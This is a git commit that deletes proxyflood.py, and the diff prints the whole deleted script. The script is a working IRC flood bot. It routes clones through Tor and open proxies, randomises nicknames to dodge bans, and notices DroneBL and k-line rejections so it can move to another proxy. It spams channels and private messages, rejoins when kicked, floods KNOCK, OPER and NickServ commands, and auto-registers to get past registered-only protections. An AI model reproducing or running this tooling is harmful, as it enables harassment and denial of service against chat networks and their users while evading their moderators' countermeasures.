remove proxyflood
This commit is contained in:
Your Name
868
proxyflood.py
868
proxyflood.py
@@ -1,868 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
import threading
|
||||
import time, random, string, re, copy, sys
|
||||
try:
|
||||
from geoip import geolite2
|
||||
geolite = True
|
||||
except:
|
||||
geolite = False
|
||||
|
||||
from config import Config
|
||||
|
||||
import mysqlite
|
||||
from misc import _log
|
||||
import rocksock
|
||||
|
||||
config = Config()
|
||||
|
||||
_run_standalone = False
|
||||
cached_dns = dict()
|
||||
|
||||
is_target_protected = None
|
||||
default_threads = None
|
||||
badlist = []
|
||||
waitonsuccess = None
|
||||
has_joined = []
|
||||
|
||||
with open('usernames.txt') as h:
|
||||
nicklist = [ nick.strip() for nick in h.readlines() ]
|
||||
|
||||
|
||||
def gennick():
|
||||
def rand():
|
||||
r = random.Random()
|
||||
return r.randint(0, 0xffffffff)
|
||||
|
||||
vowels = ['a', 'e', 'i', 'o', 'u', 'a', 'e', 'i', 'o', 'u', 'y' ]
|
||||
cons = [
|
||||
'b','c','d','f','g','h','j','k','l','m',
|
||||
'n','p','q','r','s','t','v','w','x','z',
|
||||
'bl', 'br', 'cr', 'cl', 'dr', 'fr', 'fl','gr','gl','kr','kl',
|
||||
'pr', 'pl', 'sh', 'st', 'sp', 'tr',
|
||||
# give these few a couple more chances
|
||||
'b', 'd', 'f', 'g', 'h', 'm', 'n', 'r', 's', 't'
|
||||
]
|
||||
# these consonant pairs may not be used on word start
|
||||
cpair = ['ck', 'mm', 'nn', 'll', 'rm', 'tt', 'tz', 'pp']
|
||||
|
||||
name = ''
|
||||
icount = 0
|
||||
|
||||
def rand_vowel():
|
||||
return vowels[rand()%len(vowels)]
|
||||
def rand_cons():
|
||||
return cons[rand()%len(cons)]
|
||||
def rand_cpair():
|
||||
return cpair[rand()%len(cpair)]
|
||||
|
||||
if rand()%2 == 0:
|
||||
name += rand_vowel()
|
||||
icount += 1
|
||||
|
||||
maxicount = 3 + rand()%6
|
||||
while icount < maxicount:
|
||||
dc = False
|
||||
if icount > 0 and rand()%4 == 0:
|
||||
name += rand_cpair()
|
||||
dc = True
|
||||
else: name += rand_cons()
|
||||
icount += 1
|
||||
if icount == maxicount and not dc: break
|
||||
name += rand_vowel()
|
||||
icount += 1
|
||||
|
||||
return(name)
|
||||
|
||||
|
||||
def try_div(a, b):
|
||||
if b != 0: return a/float(b)
|
||||
return 0
|
||||
|
||||
def socks4_resolve(srvname, server_port):
|
||||
srv = srvname
|
||||
if srv in cached_dns:
|
||||
srv = cached_dns[srvname]
|
||||
if config.flood.debug:
|
||||
_log("using cached ip (%s) for %s"%(srv, srvname), "debug")
|
||||
else:
|
||||
dns_fail = False
|
||||
try:
|
||||
af, sa = rocksock.resolve(rocksock.RocksockHostinfo(srvname, server_port), want_v4=True)
|
||||
if sa is not None:
|
||||
cached_dns[srvname] = sa[0]
|
||||
srv = sa[0]
|
||||
else: dns_fail = True
|
||||
except rocksock.RocksockException as e:
|
||||
assert(e.get_errortype() == rocksock.RS_ET_GAI)
|
||||
dns_fail = True
|
||||
if dns_fail:
|
||||
fail_inc = 0
|
||||
_log("could not resolve connection target %s"%srvname, "ERROR")
|
||||
return False
|
||||
return srv
|
||||
|
||||
def has_been_lined(recv):
|
||||
recv = recv.lower()
|
||||
badkw = [ 'not welcome', 'dronebl', 'sectoor', 'bot/proxy', 'proxy/drone', 'efnetrbl' ]
|
||||
for bkw in badkw:
|
||||
if bkw in recv: return bkw
|
||||
return False
|
||||
|
||||
def randcrap(msg):
|
||||
if not '%RANDCRAP%' in msg: return msg
|
||||
chars = string.ascii_letters + string.punctuation
|
||||
while '%RANDCRAP%' in msg:
|
||||
crap = ''
|
||||
#for i in range( random.randint(1,5)):
|
||||
for i in range(3):
|
||||
if len(crap): crap = '%s ' %crap
|
||||
crap = '%s%s' %(crap, ''.join(random.choice(string.ascii_letters) for x in range(random.randint(1,10))))
|
||||
msg = msg.replace('%RANDCRAP%', crap,1)
|
||||
return msg.lower()
|
||||
|
||||
def ischan(c):
|
||||
if '%' in c or '#' in c or '&' in c: return True
|
||||
return False
|
||||
|
||||
def flood(sock):
|
||||
if config.flood.nick:
|
||||
nick = config.flood.nick
|
||||
ident = nick
|
||||
realname = nick
|
||||
else:
|
||||
nick = random.choice(nicklist)
|
||||
if random.random() < random.random(): nick = gennick()
|
||||
if random.random() < random.random(): ident = nick
|
||||
else: ident = gennick()
|
||||
if random.random() < random.random(): realname = nick
|
||||
else: realname = gennick()
|
||||
#if random.random() < random.random(): nick = '%s%d' % (nick, random.randint(10,99))
|
||||
#elif random.random() < random.random(): nick = '%s%s' % (nick, random.choice(['-','_','`','^']))
|
||||
#elif random.random() < random.random(): nick = '[%s]' % nick
|
||||
#elif random.random() < random.random(): nick = '^%s^' % nick
|
||||
|
||||
global floodfiles
|
||||
global has_joined
|
||||
if config.flood.message is not None:
|
||||
msgs = config.flood.message.split(';')
|
||||
#msgs = [ randcrap(msg) for msg in msgs ]
|
||||
|
||||
try: chans = [ i.lower() for i in config.flood.target.split(',') if ischan(i) ]
|
||||
except: chans = []
|
||||
try: nicks = [ i.lower() for i in config.flood.target.split(',') if not ischan(i) ]
|
||||
except: nicks = []
|
||||
|
||||
if chans and len(chans) > 4: chans = random.choice(chans, 4)
|
||||
if nicks and len(nicks) > 4: nicks = random.choice(nicks, 4)
|
||||
|
||||
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, ident, nick, realname))
|
||||
cycle = random.choice([0,1]) if config.flood.cycle == 2 else config.flood.cycle
|
||||
ticks = time.time()
|
||||
sent_ping = False
|
||||
gotmotd = False
|
||||
ret = False
|
||||
connected = False
|
||||
sentquery = False
|
||||
failed = 0
|
||||
isjoined = None
|
||||
lastflood = None
|
||||
lastoperflood = None
|
||||
lastwhois = None
|
||||
changenick = None
|
||||
lastpong = time.time()
|
||||
global is_target_protected
|
||||
global default_threads
|
||||
global waitonsuccess
|
||||
|
||||
hilight = {}
|
||||
|
||||
#sff = floodfiles
|
||||
|
||||
while True:
|
||||
if config.flood.duration > 0:
|
||||
if (time.time() - ticks) > config.flood.duration: break
|
||||
|
||||
#if not len(chans) and not len(nicks):
|
||||
# ret = True
|
||||
# break
|
||||
|
||||
try: recv = sock.recvline()
|
||||
except Exception as e: break
|
||||
|
||||
if not len(recv): break
|
||||
elif recv.startswith('HTTP'): break
|
||||
recv = recv.strip()
|
||||
#if ' 491 ' in recv: print(recv)
|
||||
print(recv)
|
||||
|
||||
if has_been_lined(recv):
|
||||
ret = False
|
||||
break
|
||||
|
||||
if recv.startswith('ERROR'):
|
||||
_log(recv, nick)
|
||||
break
|
||||
|
||||
elif recv.startswith('PING'):
|
||||
if config.flood.use_timeout:
|
||||
if sent_ping: continue
|
||||
sock.send('%s\r\n' % recv.replace('PING', 'PONG'))
|
||||
sent_ping = True
|
||||
#continue
|
||||
|
||||
_split = recv.split(' ')
|
||||
# reply to whois
|
||||
if _split[1] in ['311', '319', '312', '330', '307', '671', '318' ]:
|
||||
continue
|
||||
|
||||
if _split[1] == 'PONG':
|
||||
_log('%s: %s' % (nick, recv), nick)
|
||||
#if random.random() < random.random(): time.sleep(0.3)
|
||||
sock.send('PING %d\r\n' % round(time.time() - connected))
|
||||
|
||||
# irc welcome message
|
||||
elif _split[1] == '376':
|
||||
gotmotd = True
|
||||
elif _split[1] == '474':
|
||||
try: chans.remove(_split[3].lower())
|
||||
except: pass
|
||||
|
||||
elif _split[1] == '352':
|
||||
n = _split[7].lower()
|
||||
if not n in nicks: nicks.append(n)
|
||||
|
||||
elif _split[1] == '001':
|
||||
connected = time.time()
|
||||
|
||||
if config.flood.oper:
|
||||
sock.send('WHO 0 o\n')
|
||||
|
||||
send = []
|
||||
|
||||
send.append('PING :%d' %random.random())
|
||||
## spam chans on connect
|
||||
if chans and len(chans):
|
||||
send.append('JOIN %s' % ','.join(chans))
|
||||
if config.flood.message and not config.flood.wait:
|
||||
send.append('PRIVMSG %s :%s' % (','.join(chans), randcrap(random.choice(msgs))))
|
||||
|
||||
## spam nicks on connect
|
||||
#if nicks and len(nicks) and config.flood.message and connected and (time.time() - connected) > config.flood.noquerybefore:
|
||||
# if config.flood.change_nick:
|
||||
# #for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s' % (','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist)))
|
||||
# for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s' % (','.join(nicks), randcrap(random.choice(msgs)), gennick()))
|
||||
# else:
|
||||
# send.append('PRIVMSG %s :%s' % (','.join(nicks), randcrap(random.choice(msgs))))
|
||||
|
||||
if len(send):
|
||||
sock.send('\r\n'.join(send) + '\r\n')
|
||||
|
||||
elif _split[1] == 'PART':
|
||||
c = _split[2].lstrip(':').lower()
|
||||
if not c in chans: continue
|
||||
if not recv.startswith(':%s!' % nick): continue
|
||||
isjoined = None
|
||||
failed = 0
|
||||
if config.flood.cycle: sock.send('JOIN %s\n' % c)
|
||||
|
||||
# end of names list (joined a chan)
|
||||
elif _split[1] == '366':
|
||||
failed = 0
|
||||
isjoined = time.time()
|
||||
connected = time.time()
|
||||
ret = True
|
||||
c = _split[3].lower()
|
||||
if not c in chans: continue
|
||||
"""
|
||||
if config.flood.hilight:
|
||||
hl = ''
|
||||
for n in hilight[c]:
|
||||
if len(hl): hl = '%s %s' %(hl, n)
|
||||
else: hl = n
|
||||
if len(hl) >= 200: break
|
||||
send.append('PRIVMSG %s :%s' %(c,hl))
|
||||
"""
|
||||
send = []
|
||||
|
||||
if not c in has_joined:
|
||||
has_joined.append(c)
|
||||
if not c in chans:
|
||||
chans.append(c)
|
||||
|
||||
if config.flood.message:
|
||||
if not config.flood.wait or (time.time() - connected) > config.flood.wait:
|
||||
send.append('PRIVMSG %s :%s' %(c,randcrap(random.choice(msgs))))
|
||||
|
||||
if config.flood.cycle:
|
||||
if config.flood.message:
|
||||
message = randcrap( random.choice(msgs) )
|
||||
else: message = ''
|
||||
send.append('PART %s :%s\n' % (c,message))
|
||||
continue
|
||||
|
||||
if config.flood.once:
|
||||
send.append('QUIT')
|
||||
|
||||
if len(send):
|
||||
sock.send('\r\n'.join(send) + '\r\n')
|
||||
_log('366 sent: %s' %'\r\n'.join(send), nick)
|
||||
|
||||
if config.flood.waitonsuccess:
|
||||
_log('bots should now wait', nick)
|
||||
waitonsuccess = time.time()
|
||||
|
||||
# nick/chan not found
|
||||
elif _split[1] == '403':
|
||||
ret = True
|
||||
c = _split[3].lower()
|
||||
if c in chans: chans.remove(c)
|
||||
elif c in nicks: nicks.remove(c)
|
||||
|
||||
# nick reseverd or already used
|
||||
elif _split[1] == '432' or _split[1] == '433':
|
||||
#nick = random.choice(nicklist)
|
||||
nick = gennick()
|
||||
sock.send('NICK %s\r\n' % nick)
|
||||
|
||||
elif _split[1] == '353':
|
||||
if not _split[4] in hilight: hilight[_split[4]] = []
|
||||
|
||||
for n in _split[5:]:
|
||||
if n.startswith(':'): n = n.strip(':')
|
||||
if n.startswith('@'): continue
|
||||
if n.startswith('%'): continue
|
||||
if n.startswith('+'): n = n.strip('+')
|
||||
hilight[_split[4]].append(n)
|
||||
|
||||
# code 500
|
||||
elif _split[1] == '500':
|
||||
if not ret: ret = True
|
||||
if 'too many join request' in recv.lower():
|
||||
time.sleep(10)
|
||||
sock.send('JOIN %s\r\n' % _split[3])
|
||||
|
||||
# chan +i
|
||||
elif _split[1] == '473':
|
||||
if not ret: ret = True
|
||||
for i in range(5):
|
||||
sock.send('KNOCK %s %s\r\n' % (_split[3], 'E'*200))
|
||||
#time.sleep(0.3)
|
||||
#if _split[3] in chans: chans.remove( _split[3] )
|
||||
|
||||
# bot has been kicked
|
||||
elif _split[1] == 'KICK':
|
||||
if _split[3] == nick:
|
||||
sock.send('JOIN %s\n' % _split[2])
|
||||
continue
|
||||
|
||||
# user is not present
|
||||
elif _split[1] == '401':
|
||||
if not ret: ret = True
|
||||
#if _split[3] in chans: chans.remove(_split[3])
|
||||
if _split[3].lower() in nicks: nicks.remove(_split[3].lower())
|
||||
# banned from chan
|
||||
elif _split[1] == '404':
|
||||
_log(recv, nick)
|
||||
c = _split[3].lower()
|
||||
if not ret: ret = True
|
||||
failed = failed +1
|
||||
if failed >= 10:
|
||||
if c in chans: chans.remove( c )
|
||||
else:
|
||||
sock.send('JOIN %s\n' % c)
|
||||
|
||||
# user or chan sets mode +R
|
||||
elif _split[1] == '477' or _split[1] == '531':
|
||||
target = _split[3].lower()
|
||||
if not ret: ret = True
|
||||
_log('target "%s" is protected (+R)' % target, nick)
|
||||
|
||||
if not config.flood.register:
|
||||
if target in chans: chans.remove(target)
|
||||
if target in nicks: nicks.remove(target)
|
||||
#if not len(chans) and not len(nicks): break
|
||||
|
||||
else:
|
||||
sock.send('PRIVMSG %s :register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
|
||||
time.sleep(1)
|
||||
#if '#' in config.flood.target:
|
||||
if chans and len(chans):
|
||||
sock.send('JOIN %s\r\n' % ','.join(chans))
|
||||
if config.flood.message is not None:
|
||||
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, randcrap(random.choice(msgs))))
|
||||
if config.flood.once: sock.send('QUIT\r\n')
|
||||
|
||||
|
||||
if not connected: continue
|
||||
if config.flood.wait and (time.time() - connected) < config.flood.wait: continue
|
||||
|
||||
##
|
||||
## FLOOD GOES HERE
|
||||
##
|
||||
# flood oper
|
||||
|
||||
if config.flood.failid is not None:
|
||||
choices = config.flood.failid.split(',')
|
||||
print(choices)
|
||||
sock.send('NICKSERV IDENTIFY %s %s\n' % (random.sample(choices,1), 'foo'))
|
||||
|
||||
if config.flood.oper:
|
||||
if not lastoperflood or (time.time() - lastoperflood) >= 1:
|
||||
lastoperflood = time.time()
|
||||
if random.random() < random.random():
|
||||
sock.send('OPER %s %s\n' % ( ''.join( [c*10 for c in 'REEEEEEEEEEEEEEEEEE'] ), 'i' ))
|
||||
|
||||
# flood os
|
||||
if config.flood.os:
|
||||
sock.send('OS %s\n' % 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE')
|
||||
|
||||
# flood in PVs
|
||||
if config.flood.query and (time.time() - connected) >= config.flood.noquerybefore and nicks and len(nicks):
|
||||
if not sentquery or (time.time() - sentquery) > 60:
|
||||
if config.flood.change_nick and config.flood.message is not None:
|
||||
_log('sending queries ? (nickchange)', nick)
|
||||
for i in range(config.flood.change_nick):
|
||||
sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(','.join(nicks), randcrap(random.choice(msgs)), gennick()))
|
||||
elif config.flood.message is not None:
|
||||
_log('sending queries ?', nick)
|
||||
sock.send('PRIVMSG %s :%s\r\n' % (','.join(nicks), randcrap(random.choice(msgs))))
|
||||
sentquery = time.time()
|
||||
|
||||
if config.flood.change_nick:
|
||||
if not changenick or (time.time() - changenick) >= 60:
|
||||
changenick = time.time()
|
||||
for i in range(config.flood.change_nick):
|
||||
sock.send('NICK %s\r\n' % gennick())
|
||||
|
||||
# flood chan
|
||||
if isjoined:
|
||||
if not lastflood or (time.time() - lastflood) >= 2:
|
||||
if not config.flood.wait or (time.time() - connected) > config.flood.wait and chans and len(chans):
|
||||
lastflood = time.time()
|
||||
if config.flood.message:
|
||||
for c in chans:
|
||||
sock.send('PRIVMSG %s :%s\n' % (c, randcrap(random.choice(msgs))))
|
||||
if config.flood.file:
|
||||
if not len(floodfiles): loadfloodfile()
|
||||
choice = random.choice(floodfiles)
|
||||
floodfiles.remove(choice)
|
||||
for c in chans:
|
||||
spam = [ 'PRIVMSG %s :%s' % (c,i) for i in choice ]
|
||||
sock.send('%s\n' % ''.join(spam))
|
||||
time.sleep(0.1)
|
||||
|
||||
if config.flood.modex and random.random() < random.random():
|
||||
sock.send('MODE %s -x\nMODE %s +x\n' % (nick, nick))
|
||||
|
||||
if config.flood.whois and nicks and len(nicks) > 0:
|
||||
lastwhois = time.time()
|
||||
if not lastwhois or (time.time() - lastwhois) >= 1 and random.random() < random.random():
|
||||
maxsample = len(nicks)
|
||||
if maxsample > 3: maxsample = 3
|
||||
sock.send('WHOIS %s\n' % ','.join( random.sample(nicks, maxsample)))
|
||||
|
||||
_log('end of loop', nick)
|
||||
try:
|
||||
sock.send('QUIT :\n')
|
||||
time.sleep(1)
|
||||
sock.disconnect()
|
||||
except:
|
||||
pass
|
||||
|
||||
return ret
|
||||
|
||||
class WorkerJob():
|
||||
def __init__(self, proxy, proto, failcount, success_count, total_duration, country, oldies = False):
|
||||
self.proxy = proxy
|
||||
self.proto = proto
|
||||
self.failcount = failcount
|
||||
self.checktime = None
|
||||
self.success_count = success_count
|
||||
self.total_duration = total_duration
|
||||
self.country = country
|
||||
self.isoldies = oldies
|
||||
|
||||
def connect_socket(self):
|
||||
global badlist
|
||||
#global waitonsuccess
|
||||
#if self.proxy in badlist: return False
|
||||
|
||||
while time.time() < nextrun: time.sleep(1)
|
||||
|
||||
"""
|
||||
if config.flood.waitonsuccess and waitonsuccess is not None:
|
||||
if not '-' in config.flood.delay:
|
||||
if (time.time() - waitonsuccess) < int(config.flood.delay): return True
|
||||
else:
|
||||
s = config.flood.delay.split('-')
|
||||
if (time.time() - waitonsuccess) < random.randint(int(s[0]), int(s[1])): return True
|
||||
"""
|
||||
|
||||
srvname = config.flood.server
|
||||
protos = ['http', 'socks5', 'socks4'] if self.proto is None else [self.proto]
|
||||
use_ssl = random.choice([0,1]) if config.flood.use_ssl == 2 else config.flood.use_ssl
|
||||
server_port = 6697 if use_ssl else 6667
|
||||
|
||||
fail_inc = 1
|
||||
|
||||
for proto in protos:
|
||||
torhost = random.choice(config.torhosts)
|
||||
# socks4 (without 4a) requires a raw ip address
|
||||
# rocksock automatically resolves if needed, but it's more
|
||||
# efficient to cache the result.
|
||||
if proto == 'socks4': srv = socks4_resolve(srvname, server_port)
|
||||
else: srv = srvname
|
||||
## skip socks4 failed resolution
|
||||
if not srv: continue
|
||||
|
||||
duration = time.time()
|
||||
proxies = [
|
||||
rocksock.RocksockProxyFromURL('socks4://%s' % torhost),
|
||||
rocksock.RocksockProxyFromURL('%s://%s' % (proto, self.proxy)),
|
||||
]
|
||||
|
||||
try:
|
||||
sock = rocksock.Rocksock(host=srv, port=server_port, ssl=use_ssl, proxies=proxies, timeout=config.watchd.timeout)
|
||||
sock.connect()
|
||||
status = flood(sock)
|
||||
#print('status: %s' %str(status))
|
||||
if not status and not self.proxy in badlist: badlist.append(self.proxy)
|
||||
if not status and random.random() < random.random(): status = False
|
||||
return status
|
||||
|
||||
except rocksock.RocksockException as e:
|
||||
if config.flood.debug:
|
||||
_log("proxy failed: %s://%s: %s"%(proto, self.proxy, e.get_errormessage()), 'debug')
|
||||
|
||||
et = e.get_errortype()
|
||||
err = e.get_error()
|
||||
fp = e.get_failedproxy()
|
||||
|
||||
sock.disconnect()
|
||||
|
||||
if et == rocksock.RS_ET_OWN:
|
||||
if fp == 1 and \
|
||||
err == rocksock.RS_E_REMOTE_DISCONNECTED or \
|
||||
err == rocksock.RS_E_HIT_TIMEOUT:
|
||||
# proxy is not online, so don't waste time trying all possible protocols
|
||||
break
|
||||
elif fp == 0 and \
|
||||
err == rocksock.RS_E_TARGET_CONN_REFUSED:
|
||||
fail_inc = 0
|
||||
if random.randint(0, (config.flood.threads-1)/2) == 0:
|
||||
_log("could not connect to proxy 0, sleep 5s", "ERROR")
|
||||
time.sleep(5)
|
||||
elif et == rocksock.RS_ET_GAI:
|
||||
assert(0)
|
||||
fail_inc = 0
|
||||
_log("could not resolve connection target %s"%srvname, "ERROR")
|
||||
break
|
||||
|
||||
except KeyboardInterrupt as e:
|
||||
raise(e)
|
||||
|
||||
return False
|
||||
|
||||
def run(self):
|
||||
global is_target_protected
|
||||
self.checktime = int(time.time())
|
||||
if is_target_protected is not None:
|
||||
if (self.checktime - is_target_protected) < 300:
|
||||
time.sleep(10)
|
||||
return
|
||||
is_target_protected = None
|
||||
global default_threads
|
||||
config.flood.threads = default_threads
|
||||
|
||||
global nextrun
|
||||
if self.connect_socket():
|
||||
if config.flood.waitonsuccess and waitonsuccess is not None:
|
||||
if not '-' in config.flood.delay:
|
||||
nextrun = time.time() + config.flood.delay
|
||||
else:
|
||||
s = config.flood.delay.split('-')
|
||||
nextrun = time.time() + random.randint( int(s[0]), int(s[1]))
|
||||
print('nextrun: %s' % time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(nextrun)))
|
||||
|
||||
return
|
||||
|
||||
|
||||
class WorkerThread():
|
||||
def __init__ (self, id):
|
||||
self.id = id
|
||||
self.done = threading.Event()
|
||||
self.thread = None
|
||||
self.workqueue = []
|
||||
self.workdone = []
|
||||
self.lock = threading.Lock()
|
||||
def stop(self):
|
||||
self.done.set()
|
||||
def term(self):
|
||||
if self.thread: self.thread.join()
|
||||
def add_jobs(self, jobs):
|
||||
with self.lock:
|
||||
self.workqueue.extend(jobs)
|
||||
def return_jobs(self):
|
||||
with self.lock:
|
||||
jobs = self.workqueue
|
||||
self.workqueue = []
|
||||
return jobs
|
||||
def jobcount(self):
|
||||
return len(self.workqueue)
|
||||
def collect(self):
|
||||
wd = copy.copy(self.workdone)
|
||||
self.workdone = []
|
||||
return wd
|
||||
def start_thread(self):
|
||||
self.thread = threading.Thread(target=self.workloop)
|
||||
self.thread.start()
|
||||
def pop_if_possible(self):
|
||||
with self.lock:
|
||||
if len(self.workqueue):
|
||||
job = self.workqueue.pop()
|
||||
else:
|
||||
job = None
|
||||
return job
|
||||
def workloop(self):
|
||||
success_count = 0
|
||||
job_count = 0
|
||||
duration_total = 0
|
||||
duration_success_total = 0
|
||||
while True:
|
||||
job = self.pop_if_possible()
|
||||
if job:
|
||||
nao = time.time()
|
||||
job.run()
|
||||
spent = time.time() - nao
|
||||
if job.failcount == 0:
|
||||
duration_success_total += spent
|
||||
success_count += 1
|
||||
job_count += 1
|
||||
duration_total += spent
|
||||
self.workdone.append(job)
|
||||
elif not self.thread:
|
||||
break
|
||||
if self.done.is_set(): break
|
||||
time.sleep(0.01)
|
||||
if self.thread:
|
||||
succ_rate = try_div(success_count, job_count)*100
|
||||
avg_succ_t = try_div(duration_success_total, success_count)
|
||||
avg_fail_t = try_div(duration_total-duration_success_total, job_count-success_count)
|
||||
avg_t = try_div(duration_total, job_count)
|
||||
_log("terminated, %d/%d (%.2f%%), avg.time S/F/T %.2f, %.2f, %.2f" \
|
||||
% (success_count, job_count, succ_rate, avg_succ_t, avg_fail_t, avg_t) \
|
||||
, self.id)
|
||||
|
||||
class Proxywatchd():
|
||||
|
||||
def stop(self):
|
||||
_log('halting... (%d thread(s))' % len([item for item in self.threads if True]), 'flood')
|
||||
self.stopping.set()
|
||||
|
||||
def _cleanup(self):
|
||||
for wt in self.threads:
|
||||
wt.stop()
|
||||
for wt in self.threads:
|
||||
wt.term()
|
||||
self.collect_work()
|
||||
self.submit_collected()
|
||||
self.stopped.set()
|
||||
|
||||
def finish(self):
|
||||
if not self.in_background: self._cleanup()
|
||||
while not self.stopped.is_set(): time.sleep(0.1)
|
||||
success_rate = try_div(self.totals['success'], self.totals['submitted']) * 100
|
||||
_log("total results: %d/%d (%.2f%%)"%(self.totals['success'], self.totals['submitted'], success_rate), "flood")
|
||||
|
||||
def _prep_db(self):
|
||||
self.mysqlite = mysqlite.mysqlite(config.watchd.database, str)
|
||||
def _close_db(self):
|
||||
if self.mysqlite:
|
||||
self.mysqlite.close()
|
||||
self.mysqlite = None
|
||||
def __init__(self):
|
||||
config.load()
|
||||
self.in_background = False
|
||||
self.threads = []
|
||||
self.stopping = threading.Event()
|
||||
self.stopped = threading.Event()
|
||||
|
||||
# create table if needed
|
||||
self._prep_db()
|
||||
self.mysqlite.execute('CREATE TABLE IF NOT EXISTS proxylist (proxy BLOB, country BLOB, added INT, failed INT, tested INT, source BLOB, dronebl INT, proto TEXT, success_count INT, total_duration INT)')
|
||||
self.mysqlite.commit()
|
||||
self._close_db()
|
||||
|
||||
self.submit_after = config.watchd.submit_after # number of collected jobs before writing db
|
||||
self.jobs = []
|
||||
self.collected = []
|
||||
self.totals = {
|
||||
'submitted':0,
|
||||
'success':0,
|
||||
}
|
||||
|
||||
def fetch_rows(self):
|
||||
self.isoldies = False
|
||||
q = 'SELECT proxy,proto,failed,success_count,total_duration,country FROM proxylist WHERE failed = 0 ORDER BY RANDOM()'
|
||||
rows = self.mysqlite.execute(q).fetchall()
|
||||
return rows
|
||||
|
||||
def prepare_jobs(self):
|
||||
self._prep_db()
|
||||
## enable tor safeguard by default
|
||||
self.tor_safeguard = config.watchd.tor_safeguard
|
||||
rows = self.fetch_rows()
|
||||
|
||||
#print('preparing jobbs, oldies: %s' % str(self.isoldies))
|
||||
for i in range(config.flood.clones):
|
||||
for row in rows:
|
||||
job = WorkerJob(row[0], row[1], row[2], row[3], row[4], row[5], self.isoldies)
|
||||
self.jobs.append(job)
|
||||
self._close_db()
|
||||
|
||||
def collect_work(self):
|
||||
for wt in self.threads:
|
||||
self.collected.extend(wt.collect())
|
||||
|
||||
def collect_unfinished(self):
|
||||
for wt in self.threads:
|
||||
jobs = wt.return_jobs()
|
||||
self.jobs.extend(jobs)
|
||||
if len(self.jobs):
|
||||
_log("collected %d unfinished jobs"%len(self.jobs), "flood")
|
||||
|
||||
def submit_collected(self):
|
||||
if len(self.collected) == 0: return True
|
||||
sc = 0
|
||||
args = []
|
||||
for job in self.collected:
|
||||
if job.failcount == 0: sc += 1
|
||||
args.append( (job.failcount, job.checktime, 1, job.country, job.proto, job.success_count, job.total_duration, job.proxy) )
|
||||
|
||||
success_rate = (float(sc) / len(self.collected)) * 100
|
||||
ret = True
|
||||
if len(self.collected) >= 100 and success_rate <= config.watchd.outage_threshold and self.tor_safeguard:
|
||||
_log("WATCHD %.2f%% SUCCESS RATE - tor circuit blocked? won't submit fails"%success_rate, "ERROR")
|
||||
if sc == 0: return False
|
||||
args = []
|
||||
for job in self.collected:
|
||||
if job.failcount == 0:
|
||||
args.append( (job.failcount, job.checktime, 1, job.country, job.proto, job.success_count, job.total_duration, job.proxy) )
|
||||
ret = False
|
||||
|
||||
_log("success rate: %.2f%%"%success_rate, 'flood')
|
||||
self.collected = []
|
||||
self.totals['submitted'] += len(args)
|
||||
self.totals['success'] += sc
|
||||
return ret
|
||||
|
||||
def start(self):
|
||||
if config.flood.threads == 1 and _run_standalone:
|
||||
return self._run()
|
||||
else:
|
||||
return self._run_background()
|
||||
|
||||
def run(self):
|
||||
if self.in_background:
|
||||
while 1: time.sleep(1)
|
||||
|
||||
def _run_background(self):
|
||||
self.in_background = True
|
||||
t = threading.Thread(target=self._run)
|
||||
t.start()
|
||||
|
||||
def _run(self):
|
||||
_log('starting...', 'flood')
|
||||
|
||||
for i in range(config.flood.threads):
|
||||
#threadid = ''.join( [ random.choice(string.letters) for x in range(5) ] )
|
||||
threadid = i #''.join( [ random.choice(string.letters) for x in range(5) ] )
|
||||
wt = WorkerThread(threadid)
|
||||
if self.in_background:
|
||||
wt.start_thread()
|
||||
self.threads.append(wt)
|
||||
time.sleep( (random.random()/100) )
|
||||
|
||||
sleeptime = 0
|
||||
|
||||
while True:
|
||||
|
||||
if self.stopping.is_set():
|
||||
if self.in_background: self._cleanup()
|
||||
break
|
||||
|
||||
if sleeptime == 0:
|
||||
sleeptime = 1
|
||||
else:
|
||||
time.sleep(1)
|
||||
sleeptime -= 1
|
||||
continue
|
||||
|
||||
if self.threads[random.choice(xrange(len(self.threads)))].jobcount() == 0:
|
||||
self.collect_unfinished()
|
||||
if not len(self.jobs):
|
||||
self.collect_work()
|
||||
if not self.submit_collected() and self.tor_safeguard:
|
||||
_log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "flood")
|
||||
self.collect_unfinished()
|
||||
sleeptime = 1*60
|
||||
else:
|
||||
self.prepare_jobs()
|
||||
else:
|
||||
if len(self.jobs) < len(self.threads):
|
||||
# allow threads enough time to consume the jobs
|
||||
sleeptime = 10
|
||||
if len(self.jobs):
|
||||
_log("handing out %d jobs to %d thread(s)"% (len(self.jobs), len(self.threads)), 'flood')
|
||||
jpt = len(self.jobs)/len(self.threads)
|
||||
if len(self.jobs)/float(len(self.threads)) - jpt > 0.0: jpt += 1
|
||||
for tid in xrange(len(self.threads)):
|
||||
self.threads[tid].add_jobs(self.jobs[tid*jpt:tid*jpt+jpt])
|
||||
self.jobs = []
|
||||
|
||||
if not self.in_background: # single_thread scenario
|
||||
self.threads[0].workloop()
|
||||
|
||||
self.collect_work()
|
||||
|
||||
if len(self.collected) > self.submit_after:
|
||||
if not self.submit_collected() and self.tor_safeguard:
|
||||
_log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "flood")
|
||||
self.collect_unfinished()
|
||||
sleeptime = 1*60
|
||||
|
||||
time.sleep(1)
|
||||
sleeptime -= 1
|
||||
|
||||
def loadfloodfile():
|
||||
print('(re)loading floodfiles...')
|
||||
global floodfiles
|
||||
floodfiles = []
|
||||
onlyfiles = ['%s/%s' % (config.flood.file, f) for f in listdir(config.flood.file) if isfile(join(config.flood.file, f))]
|
||||
for f in onlyfiles:
|
||||
with open(f, 'r') as handle:
|
||||
floodfile = handle.readlines()
|
||||
floodfiles.append(floodfile)
|
||||
|
||||
if __name__ == '__main__':
|
||||
_run_standalone = True
|
||||
|
||||
config.load()
|
||||
|
||||
nextrun = time.time()
|
||||
|
||||
if config.flood.file is not None:
|
||||
from os import listdir
|
||||
from os.path import isfile, join
|
||||
loadfloodfile()
|
||||
|
||||
w = Proxywatchd()
|
||||
try:
|
||||
w.start()
|
||||
w.run()
|
||||
